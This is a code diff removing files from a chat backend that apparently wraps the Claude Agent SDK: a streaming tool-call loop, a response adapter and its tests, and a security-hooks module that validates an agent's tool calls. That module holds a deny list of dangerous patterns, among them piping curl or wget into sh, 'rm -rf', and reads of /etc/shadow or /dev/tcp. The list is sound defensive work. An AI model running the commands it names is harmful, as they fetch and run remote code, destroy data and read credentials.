-                                yield StreamTextStart(id=text_block_id)
-                                has_started_text = True
-                            elif block.type == "tool_use":
-                                yield StreamToolInputStart(
-                                    toolCallId=block.id, toolName=block.name
-                                )
-
-                    elif event.type == "content_block_delta":
-                        delta = event.delta
-                        if hasattr(delta, "type") and delta.type == "text_delta":
-                            accumulated_text += delta.text
-                            yield StreamTextDelta(id=text_block_id, delta=delta.text)
-
-                final_message = await stream.get_final_message()
-
-                if final_message.stop_reason == "tool_use":
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-                        has_started_text = False
-                        text_block_id = str(uuid.uuid4())
-
-                    tool_results = []
-                    assistant_content: list[dict[str, Any]] = []
-
-                    for block in final_message.content:
-                        if block.type == "text":
-                            assistant_content.append(
-                                {"type": "text", "text": block.text}
-                            )
-                        elif block.type == "tool_use":
-                            assistant_content.append(
-                                {
-                                    "type": "tool_use",
-                                    "id": block.id,
-                                    "name": block.name,
-                                    "input": block.input,
-                                }
-                            )
-
-                            # Track tool call for session persistence
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": block.id,
-                                    "type": "function",
-                                    "function": {
-                                        "name": block.name,
-                                        "arguments": json.dumps(
-                                            block.input
-                                            if isinstance(block.input, dict)
-                                            else {}
-                                        ),
-                                    },
-                                }
-                            )
-
-                            yield StreamToolInputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                input=(
-                                    block.input if isinstance(block.input, dict) else {}
-                                ),
-                            )
-
-                            output, is_error = await _execute_tool(
-                                block.name, block.input, tool_handlers
-                            )
-
-                            yield StreamToolOutputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                output=output,
-                                success=not is_error,
-                            )
-
-                            # Save tool result to session
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=output,
-                                    tool_call_id=block.id,
-                                )
-                            )
-
-                            tool_results.append(
-                                {
-                                    "type": "tool_result",
-                                    "tool_use_id": block.id,
-                                    "content": output,
-                                    "is_error": is_error,
-                                }
-                            )
-
-                    # Save assistant message with tool calls to session
-                    session.messages.append(
-                        ChatMessage(
-                            role="assistant",
-                            content=accumulated_text or None,
-                            tool_calls=(
-                                accumulated_tool_calls
-                                if accumulated_tool_calls
-                                else None
-                            ),
-                        )
-                    )
-                    # Reset for next iteration
-                    accumulated_text = ""
-                    accumulated_tool_calls = []
-
-                    anthropic_messages.append(
-                        {"role": "assistant", "content": assistant_content}
-                    )
-                    anthropic_messages.append({"role": "user", "content": tool_results})
-                    continue
-
-                else:
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-
-                    # Save final assistant response to session
-                    if accumulated_text:
-                        session.messages.append(
-                            ChatMessage(role="assistant", content=accumulated_text)
-                        )
-
-                    yield StreamUsage(
-                        promptTokens=final_message.usage.input_tokens,
-                        completionTokens=final_message.usage.output_tokens,
-                        totalTokens=final_message.usage.input_tokens
-                        + final_message.usage.output_tokens,
-                    )
-                    yield StreamFinish()
-                    return
-
-        except Exception as e:
-            logger.error(f"[Anthropic Fallback] Error: {e}", exc_info=True)
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="anthropic_error",
-            )
-            yield StreamFinish()
-            return
-
-    yield StreamError(errorText="Max tool iterations reached", code="max_iterations")
-    yield StreamFinish()
-
-
-def _convert_session_to_anthropic(session: ChatSession) -> list[dict[str, Any]]:
-    """Convert session messages to Anthropic format.
-
-    Handles merging consecutive same-role messages (Anthropic requires alternating roles).
-    """
-    messages: list[dict[str, Any]] = []
-
-    for msg in session.messages:
-        if msg.role == "user":
-            new_msg = {"role": "user", "content": msg.content or ""}
-        elif msg.role == "assistant":
-            content: list[dict[str, Any]] = []
-            if msg.content:
-                content.append({"type": "text", "text": msg.content})
-            if msg.tool_calls:
-                for tc in msg.tool_calls:
-                    func = tc.get("function", {})
-                    args = func.get("arguments", {})
-                    if isinstance(args, str):
-                        try:
-                            args = json.loads(args)
-                        except json.JSONDecodeError:
-                            args = {}
-                    content.append(
-                        {
-                            "type": "tool_use",
-                            "id": tc.get("id", str(uuid.uuid4())),
-                            "name": func.get("name", ""),
-                            "input": args,
-                        }
-                    )
-            if content:
-                new_msg = {"role": "assistant", "content": content}
-            else:
-                continue  # Skip empty assistant messages
-        elif msg.role == "tool":
-            new_msg = {
-                "role": "user",
-                "content": [
-                    {
-                        "type": "tool_result",
-                        "tool_use_id": msg.tool_call_id or "",
-                        "content": msg.content or "",
-                    }
-                ],
-            }
-        else:
-            continue
-
-        messages.append(new_msg)
-
-    # Merge consecutive same-role messages (Anthropic requires alternating roles)
-    return _merge_consecutive_roles(messages)
-
-
-def _merge_consecutive_roles(messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
-    """Merge consecutive messages with the same role.
-
-    Anthropic API requires alternating user/assistant roles.
-    """
-    if not messages:
-        return []
-
-    merged: list[dict[str, Any]] = []
-    for msg in messages:
-        if merged and merged[-1]["role"] == msg["role"]:
-            # Merge with previous message
-            prev_content = merged[-1]["content"]
-            new_content = msg["content"]
-
-            # Normalize both to list-of-blocks form
-            if isinstance(prev_content, str):
-                prev_content = [{"type": "text", "text": prev_content}]
-            if isinstance(new_content, str):
-                new_content = [{"type": "text", "text": new_content}]
-
-            # Ensure both are lists
-            if not isinstance(prev_content, list):
-                prev_content = [prev_content]
-            if not isinstance(new_content, list):
-                new_content = [new_content]
-
-            merged[-1]["content"] = prev_content + new_content
-        else:
-            merged.append(msg)
-
-    return merged
-
-
-async def _execute_tool(
-    tool_name: str, tool_input: Any, handlers: dict[str, Any]
-) -> tuple[str, bool]:
-    """Execute a tool and return (output, is_error)."""
-    handler = handlers.get(tool_name)
-    if not handler:
-        return f"Unknown tool: {tool_name}", True
-
-    try:
-        result = await handler(tool_input)
-        # Safely extract output - handle empty or missing content
-        content = result.get("content") or []
-        if content and isinstance(content, list) and len(content) > 0:
-            first_item = content[0]
-            output = first_item.get("text", "") if isinstance(first_item, dict) else ""
-        else:
-            output = ""
-        is_error = result.get("isError", False)
-        return output, is_error
-    except Exception as e:
-        return f"Error: {str(e)}", True

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter.py

@@ -1,198 +0,0 @@
-"""Response adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-This module provides the adapter layer that converts streaming messages from
-the Claude Agent SDK into the Vercel AI SDK UI Stream Protocol format that
-the frontend expects.
-"""
-
-import json
-import logging
-import uuid
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    Message,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-)
-from backend.api.features.chat.sdk.tool_adapter import (
-    MCP_TOOL_PREFIX,
-    pop_pending_tool_output,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class SDKResponseAdapter:
-    """Adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-    This class maintains state during a streaming session to properly track
-    text blocks, tool calls, and message lifecycle.
-    """
-
-    def __init__(self, message_id: str | None = None):
-        self.message_id = message_id or str(uuid.uuid4())
-        self.text_block_id = str(uuid.uuid4())
-        self.has_started_text = False
-        self.has_ended_text = False
-        self.current_tool_calls: dict[str, dict[str, str]] = {}
-        self.task_id: str | None = None
-        self.step_open = False
-
-    def set_task_id(self, task_id: str) -> None:
-        """Set the task ID for reconnection support."""
-        self.task_id = task_id
-
-    def convert_message(self, sdk_message: Message) -> list[StreamBaseResponse]:
-        """Convert a single SDK message to Vercel AI SDK format."""
-        responses: list[StreamBaseResponse] = []
-
-        if isinstance(sdk_message, SystemMessage):
-            if sdk_message.subtype == "init":
-                responses.append(
-                    StreamStart(messageId=self.message_id, taskId=self.task_id)
-                )
-                # Open the first step (matches non-SDK: StreamStart then StreamStartStep)
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-        elif isinstance(sdk_message, AssistantMessage):
-            # After tool results, the SDK sends a new AssistantMessage for the
-            # next LLM turn. Open a new step if the previous one was closed.
-            if not self.step_open:
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-            for block in sdk_message.content:
-                if isinstance(block, TextBlock):
-                    if block.text:
-                        self._ensure_text_started(responses)
-                        responses.append(
-                            StreamTextDelta(id=self.text_block_id, delta=block.text)
-                        )
-
-                elif isinstance(block, ToolUseBlock):
-                    self._end_text_if_open(responses)
-
-                    # Strip MCP prefix so frontend sees "find_block"
-                    # instead of "mcp__copilot__find_block".
-                    tool_name = block.name.removeprefix(MCP_TOOL_PREFIX)
-
-                    responses.append(
-                        StreamToolInputStart(toolCallId=block.id, toolName=tool_name)
-                    )
-                    responses.append(
-                        StreamToolInputAvailable(
-                            toolCallId=block.id,
-                            toolName=tool_name,
-                            input=block.input,
-                        )
-                    )
-                    self.current_tool_calls[block.id] = {"name": tool_name}
-
-        elif isinstance(sdk_message, UserMessage):
-            # UserMessage carries tool results back from tool execution.
-            content = sdk_message.content
-            blocks = content if isinstance(content, list) else []
-            for block in blocks:
-                if isinstance(block, ToolResultBlock) and block.tool_use_id:
-                    tool_info = self.current_tool_calls.get(block.tool_use_id, {})
-                    tool_name = tool_info.get("name", "unknown")
-
-                    # Prefer the stashed full output over the SDK's
-                    # (potentially truncated) ToolResultBlock content.
-                    # The SDK truncates large results, writing them to disk,
-                    # which breaks frontend widget parsing.
-                    output = pop_pending_tool_output(tool_name) or (
-                        _extract_tool_output(block.content)
-                    )
-
-                    responses.append(
-                        StreamToolOutputAvailable(
-                            toolCallId=block.tool_use_id,
-                            toolName=tool_name,
-                            output=output,
-                            success=not (block.is_error or False),
-                        )
-                    )
-
-            # Close the current step after tool results — the next
-            # AssistantMessage will open a new step for the continuation.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-        elif isinstance(sdk_message, ResultMessage):
-            self._end_text_if_open(responses)
-            # Close the step before finishing.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-            if sdk_message.subtype == "success":
-                responses.append(StreamFinish())
-            elif sdk_message.subtype in ("error", "error_during_execution"):
-                error_msg = getattr(sdk_message, "result", None) or "Unknown error"
-                responses.append(
-                    StreamError(errorText=str(error_msg), code="sdk_error")
-                )
-                responses.append(StreamFinish())
-
-        else:
-            logger.debug(f"Unhandled SDK message type: {type(sdk_message).__name__}")
-
-        return responses
-
-    def _ensure_text_started(self, responses: list[StreamBaseResponse]) -> None:
-        """Start (or restart) a text block if needed."""
-        if not self.has_started_text or self.has_ended_text:
-            if self.has_ended_text:
-                self.text_block_id = str(uuid.uuid4())
-                self.has_ended_text = False
-            responses.append(StreamTextStart(id=self.text_block_id))
-            self.has_started_text = True
-
-    def _end_text_if_open(self, responses: list[StreamBaseResponse]) -> None:
-        """End the current text block if one is open."""
-        if self.has_started_text and not self.has_ended_text:
-            responses.append(StreamTextEnd(id=self.text_block_id))
-            self.has_ended_text = True
-
-
-def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
-    """Extract a string output from a ToolResultBlock's content field."""
-    if isinstance(content, str):
-        return content
-    if isinstance(content, list):
-        parts = [item.get("text", "") for item in content if item.get("type") == "text"]
-        if parts:
-            return "".join(parts)
-        try:
-            return json.dumps(content)
-        except (TypeError, ValueError):
-            return str(content)
-    if content is None:
-        return ""
-    try:
-        return json.dumps(content)
-    except (TypeError, ValueError):
-        return str(content)

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter_test.py

@@ -1,366 +0,0 @@
-"""Unit tests for the SDK response adapter."""
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-)
-
-from .response_adapter import SDKResponseAdapter
-from .tool_adapter import MCP_TOOL_PREFIX
-
-
-def _adapter() -> SDKResponseAdapter:
-    a = SDKResponseAdapter(message_id="msg-1")
-    a.set_task_id("task-1")
-    return a
-
-
-# -- SystemMessage -----------------------------------------------------------
-
-
-def test_system_init_emits_start_and_step():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="init", data={}))
-    assert len(results) == 2
-    assert isinstance(results[0], StreamStart)
-    assert results[0].messageId == "msg-1"
-    assert results[0].taskId == "task-1"
-    assert isinstance(results[1], StreamStartStep)
-
-
-def test_system_non_init_emits_nothing():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="other", data={}))
-    assert results == []
-
-
-# -- AssistantMessage with TextBlock -----------------------------------------
-
-
-def test_text_block_emits_step_start_and_delta():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="hello")], model="test")
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "hello"
-
-
-def test_empty_text_block_emits_only_step():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="")], model="test")
-    results = adapter.convert_message(msg)
-    # Empty text skipped, but step still opens
-    assert len(results) == 1
-    assert isinstance(results[0], StreamStartStep)
-
-
-def test_multiple_text_deltas_reuse_block_id():
-    adapter = _adapter()
-    msg1 = AssistantMessage(content=[TextBlock(text="a")], model="test")
-    msg2 = AssistantMessage(content=[TextBlock(text="b")], model="test")
-    r1 = adapter.convert_message(msg1)
-    r2 = adapter.convert_message(msg2)
-    # First gets step+start+delta, second only delta (block & step already started)
-    assert len(r1) == 3
-    assert isinstance(r1[0], StreamStartStep)
-    assert isinstance(r1[1], StreamTextStart)
-    assert len(r2) == 1
-    assert isinstance(r2[0], StreamTextDelta)
-    assert r1[1].id == r2[0].id  # same block ID
-
-
-# -- AssistantMessage with ToolUseBlock --------------------------------------
-
-
-def test_tool_use_emits_input_start_and_available():
-    """Tool names arrive with MCP prefix and should be stripped for the frontend."""
-    adapter = _adapter()
-    msg = AssistantMessage(
-        content=[
-            ToolUseBlock(
-                id="tool-1",
-                name=f"{MCP_TOOL_PREFIX}find_agent",
-                input={"q": "x"},
-            )
-        ],
-        model="test",
-    )
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamToolInputStart)
-    assert results[1].toolCallId == "tool-1"
-    assert results[1].toolName == "find_agent"  # prefix stripped
-    assert isinstance(results[2], StreamToolInputAvailable)
-    assert results[2].toolName == "find_agent"  # prefix stripped
-    assert results[2].input == {"q": "x"}
-
-
-def test_text_then_tool_ends_text_block():
-    adapter = _adapter()
-    text_msg = AssistantMessage(content=[TextBlock(text="thinking...")], model="test")
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-        model="test",
-    )
-    adapter.convert_message(text_msg)  # opens step + text
-    results = adapter.convert_message(tool_msg)
-    # Step already open, so: TextEnd, ToolInputStart, ToolInputAvailable
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamToolInputStart)
-
-
-# -- UserMessage with ToolResultBlock ----------------------------------------
-
-
-def test_tool_result_emits_output_and_finish_step():
-    adapter = _adapter()
-    # First register the tool call (opens step) — SDK sends prefixed name
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}find_agent", input={})],
-        model="test",
-    )
-    adapter.convert_message(tool_msg)
-
-    # Now send tool result
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="found 3 agents")]
-    )
-    results = adapter.convert_message(result_msg)
-    assert len(results) == 2
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].toolCallId == "t1"
-    assert results[0].toolName == "find_agent"  # prefix stripped
-    assert results[0].output == "found 3 agents"
-    assert results[0].success is True
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_error():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[
-                ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}run_agent", input={})
-            ],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="timeout", is_error=True)]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].success is False
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_list_content():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[
-            ToolResultBlock(
-                tool_use_id="t1",
-                content=[
-                    {"type": "text", "text": "line1"},
-                    {"type": "text", "text": "line2"},
-                ],
-            )
-        ]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].output == "line1line2"
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_string_user_message_ignored():
-    """A plain string UserMessage (not tool results) produces no output."""
-    adapter = _adapter()
-    results = adapter.convert_message(UserMessage(content="hello"))
-    assert results == []
-
-
-# -- ResultMessage -----------------------------------------------------------
-
-
-def test_result_success_emits_finish_step_and_finish():
-    adapter = _adapter()
-    # Start some text first (opens step)
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="done")], model="test")
-    )
-    msg = ResultMessage(
-        subtype="success",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=False,
-        num_turns=1,
-        session_id="s1",
-    )
-    results = adapter.convert_message(msg)
-    # TextEnd + FinishStep + StreamFinish
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamFinishStep)
-    assert isinstance(results[2], StreamFinish)
-
-
-def test_result_error_emits_error_and_finish():
-    adapter = _adapter()
-    msg = ResultMessage(
-        subtype="error",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=True,
-        num_turns=0,
-        session_id="s1",
-        result="API rate limited",
-    )
-    results = adapter.convert_message(msg)
-    # No step was open, so no FinishStep — just Error + Finish
-    assert len(results) == 2
-    assert isinstance(results[0], StreamError)
-    assert "API rate limited" in results[0].errorText
-    assert isinstance(results[1], StreamFinish)
-
-
-# -- Text after tools (new block ID) ----------------------------------------
-
-
-def test_text_after_tool_gets_new_block_id():
-    adapter = _adapter()
-    # Text -> Tool -> ToolResult -> Text should get a new text block ID and step
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="before")], model="test")
-    )
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    # Send tool result (closes step)
-    adapter.convert_message(
-        UserMessage(content=[ToolResultBlock(tool_use_id="t1", content="ok")])
-    )
-    results = adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="after")], model="test")
-    )
-    # Should get StreamStartStep (new step) + StreamTextStart (new block) + StreamTextDelta
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "after"
-
-
-# -- Full conversation flow --------------------------------------------------
-
-
-def test_full_conversation_flow():
-    """Simulate a complete conversation: init -> text -> tool -> result -> text -> finish."""
-    adapter = _adapter()
-    all_responses: list[StreamBaseResponse] = []
-
-    # 1. Init
-    all_responses.extend(
-        adapter.convert_message(SystemMessage(subtype="init", data={}))
-    )
-    # 2. Assistant text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="Let me search")], model="test")
-        )
-    )
-    # 3. Tool use
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(
-                content=[
-                    ToolUseBlock(
-                        id="t1",
-                        name=f"{MCP_TOOL_PREFIX}find_agent",
-                        input={"query": "email"},
-                    )
-                ],
-                model="test",
-            )
-        )
-    )
-    # 4. Tool result
-    all_responses.extend(
-        adapter.convert_message(
-            UserMessage(
-                content=[ToolResultBlock(tool_use_id="t1", content="Found 2 agents")]
-            )
-        )
-    )
-    # 5. More text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="I found 2")], model="test")
-        )
-    )
-    # 6. Result
-    all_responses.extend(
-        adapter.convert_message(
-            ResultMessage(
-                subtype="success",
-                duration_ms=500,
-                duration_api_ms=400,
-                is_error=False,
-                num_turns=2,
-                session_id="s1",
-            )
-        )
-    )
-
-    types = [type(r).__name__ for r in all_responses]
-    assert types == [
-        "StreamStart",
-        "StreamStartStep",  # step 1: text + tool call
-        "StreamTextStart",
-        "StreamTextDelta",  # "Let me search"
-        "StreamTextEnd",  # closed before tool
-        "StreamToolInputStart",
-        "StreamToolInputAvailable",
-        "StreamToolOutputAvailable",  # tool result
-        "StreamFinishStep",  # step 1 closed after tool result
-        "StreamStartStep",  # step 2: continuation text
-        "StreamTextStart",  # new block after tool
-        "StreamTextDelta",  # "I found 2"
-        "StreamTextEnd",  # closed by result
-        "StreamFinishStep",  # step 2 closed
-        "StreamFinish",
-    ]

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks.py

@@ -1,393 +0,0 @@
-"""Security hooks for Claude Agent SDK integration.
-
-This module provides security hooks that validate tool calls before execution,
-ensuring multi-user isolation and preventing unauthorized operations.
-"""
-
-import json
-import logging
-import os
-import re
-import shlex
-from typing import Any, cast
-
-from backend.api.features.chat.sdk.tool_adapter import MCP_TOOL_PREFIX
-
-logger = logging.getLogger(__name__)
-
-# Tools that are blocked entirely (CLI/system access)
-BLOCKED_TOOLS = {
-    "bash",
-    "shell",
-    "exec",
-    "terminal",
-    "command",
-}
-
-# Safe read-only commands allowed in the sandboxed Bash tool.
-# These are data-processing / inspection utilities — no writes, no network.
-ALLOWED_BASH_COMMANDS = {
-    # JSON / structured data
-    "jq",
-    # Text processing
-    "grep",
-    "egrep",
-    "fgrep",
-    "rg",
-    "head",
-    "tail",
-    "cat",
-    "wc",
-    "sort",
-    "uniq",
-    "cut",
-    "tr",
-    "sed",
-    "awk",
-    "column",
-    "fold",
-    "fmt",
-    "nl",
-    "paste",
-    "rev",
-    # File inspection (read-only)
-    "find",
-    "ls",
-    "file",
-    "stat",
-    "du",
-    "tree",
-    "basename",
-    "dirname",
-    "realpath",
-    # Utilities
-    "echo",
-    "printf",
-    "date",
-    "true",
-    "false",
-    "xargs",
-    "tee",
-    # Comparison / encoding
-    "diff",
-    "comm",
-    "base64",
-    "md5sum",
-    "sha256sum",
-}
-
-# Tools allowed only when their path argument stays within the SDK workspace.
-# The SDK uses these to handle oversized tool results (writes to tool-results/
-# files, then reads them back) and for workspace file operations.
-WORKSPACE_SCOPED_TOOLS = {"Read", "Write", "Edit", "Glob", "Grep"}
-
-# Tools that get sandboxed Bash validation (command allowlist + workspace paths).
-SANDBOXED_BASH_TOOLS = {"Bash"}
-
-# Dangerous patterns in tool inputs
-DANGEROUS_PATTERNS = [
-    r"sudo",
-    r"rm\s+-rf",
-    r"dd\s+if=",
-    r"/etc/passwd",
-    r"/etc/shadow",
-    r"chmod\s+777",
-    r"curl\s+.*\|.*sh",
-    r"wget\s+.*\|.*sh",
-    r"eval\s*\(",
-    r"exec\s*\(",
-    r"__import__",
-    r"os\.system",
-    r"subprocess",
-]
-
-
-def _deny(reason: str) -> dict[str, Any]:
-    """Return a hook denial response."""
-    return {
-        "hookSpecificOutput": {
-            "hookEventName": "PreToolUse",
-            "permissionDecision": "deny",
-            "permissionDecisionReason": reason,
-        }
-    }
-
-
-def _validate_workspace_path(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate that a workspace-scoped tool only accesses allowed paths.
-
-    Allowed directories:
-    - The SDK working directory (``/tmp/copilot-<session>/``)
-    - The SDK tool-results directory (``~/.claude/projects/…/tool-results/``)
-    """
-    path = tool_input.get("file_path") or tool_input.get("path") or ""
-    if not path:
-        # Glob/Grep without a path default to cwd which is already sandboxed
-        return {}
-
-    resolved = os.path.normpath(os.path.expanduser(path))
-
-    # Allow access within the SDK working directory
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-            return {}
-
-    # Allow access to ~/.claude/projects/*/tool-results/ (big tool results)
-    claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-    if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-        return {}
-
-    logger.warning(
-        f"Blocked {tool_name} outside workspace: {path} (resolved={resolved})"
-    )
-    return _deny(
-        f"Tool '{tool_name}' can only access files within the workspace directory."
-    )
-
-
-def _validate_bash_command(
-    tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate a Bash command against the allowlist of safe commands.
-
-    Only read-only data-processing commands are allowed (jq, grep, head, etc.).
-    Blocks command substitution, output redirection, and disallowed executables.
-
-    Uses ``shlex.split`` to properly handle quoted strings (e.g. jq filters
-    containing ``|`` won't be mistaken for shell pipes).
-    """
-    command = tool_input.get("command", "")
-    if not command or not isinstance(command, str):
-        return _deny("Bash command is empty.")
-
-    # Block command substitution — can smuggle arbitrary commands
-    if "$(" in command or "`" in command:
-        return _deny("Command substitution ($() or ``) is not allowed in Bash.")
-
-    # Block output redirection — Bash should be read-only
-    if re.search(r"(?<!\d)>{1,2}\s", command):
-        return _deny("Output redirection (> or >>) is not allowed in Bash.")
-
-    # Block /dev/ access (e.g., /dev/tcp for network)
-    if "/dev/" in command:
-        return _deny("Access to /dev/ is not allowed in Bash.")
-
-    # Tokenize with shlex (respects quotes), then extract command names.
-    # shlex preserves shell operators like | ; && || as separate tokens.
-    try:
-        tokens = shlex.split(command)
-    except ValueError:
-        return _deny("Malformed command (unmatched quotes).")
-
-    # Walk tokens: the first non-assignment token after a pipe/separator is a command.
-    expect_command = True
-    for token in tokens:
-        if token in ("|", "||", "&&", ";"):
-            expect_command = True
-            continue
-        if expect_command:
-            # Skip env var assignments (VAR=value)
-            if "=" in token and not token.startswith("-"):
-                continue
-            cmd_name = os.path.basename(token)
-            if cmd_name not in ALLOWED_BASH_COMMANDS:
-                allowed = ", ".join(sorted(ALLOWED_BASH_COMMANDS))
-                logger.warning(f"Blocked Bash command: {cmd_name}")
-                return _deny(
-                    f"Command '{cmd_name}' is not allowed. "
-                    f"Allowed commands: {allowed}"
-                )
-            expect_command = False
-
-    # Validate absolute file paths stay within workspace
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-        for token in tokens:
-            if not token.startswith("/"):
-                continue
-            resolved = os.path.normpath(token)
-            if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-                continue
-            if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-                continue
-            logger.warning(f"Blocked Bash path outside workspace: {token}")
-            return _deny(
-                f"Bash can only access files within the workspace directory. "
-                f"Path '{token}' is outside the workspace."
-            )
-
-    return {}
-
-
-def _validate_tool_access(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Validate that a tool call is allowed.
-
-    Returns:
-        Empty dict to allow, or dict with hookSpecificOutput to deny
-    """
-    # Block forbidden tools
-    if tool_name in BLOCKED_TOOLS:
-        logger.warning(f"Blocked tool access attempt: {tool_name}")
-        return _deny(
-            f"Tool '{tool_name}' is not available. "
-            "Use the CoPilot-specific tools instead."
-        )
-
-    # Sandboxed Bash: only allowlisted commands, workspace-scoped paths
-    if tool_name in SANDBOXED_BASH_TOOLS:
-        return _validate_bash_command(tool_input, sdk_cwd)
-
-    # Workspace-scoped tools: allowed only within the SDK workspace directory
-    if tool_name in WORKSPACE_SCOPED_TOOLS:
-        return _validate_workspace_path(tool_name, tool_input, sdk_cwd)
-
-    # Check for dangerous patterns in tool input
-    # Use json.dumps for predictable format (str() produces Python repr)
-    input_str = json.dumps(tool_input) if tool_input else ""
-
-    for pattern in DANGEROUS_PATTERNS:
-        if re.search(pattern, input_str, re.IGNORECASE):
-            logger.warning(
-                f"Blocked dangerous pattern in tool input: {pattern} in {tool_name}"
-            )
-            return _deny("Input contains blocked pattern")
-
-    return {}
-
-
-def _validate_user_isolation(
-    tool_name: str, tool_input: dict[str, Any], user_id: str | None
-) -> dict[str, Any]:
-    """Validate that tool calls respect user isolation."""
-    # For workspace file tools, ensure path doesn't escape
-    if "workspace" in tool_name.lower():
-        path = tool_input.get("path", "") or tool_input.get("file_path", "")
-        if path:
-            # Check for path traversal
-            if ".." in path or path.startswith("/"):
-                logger.warning(
-                    f"Blocked path traversal attempt: {path} by user {user_id}"
-                )
-                return {
-                    "hookSpecificOutput": {
-                        "hookEventName": "PreToolUse",
-                        "permissionDecision": "deny",
-                        "permissionDecisionReason": "Path traversal not allowed",
-                    }
-                }
-
-    return {}
-
-
-def create_security_hooks(
-    user_id: str | None, sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Create the security hooks configuration for Claude Agent SDK.
-
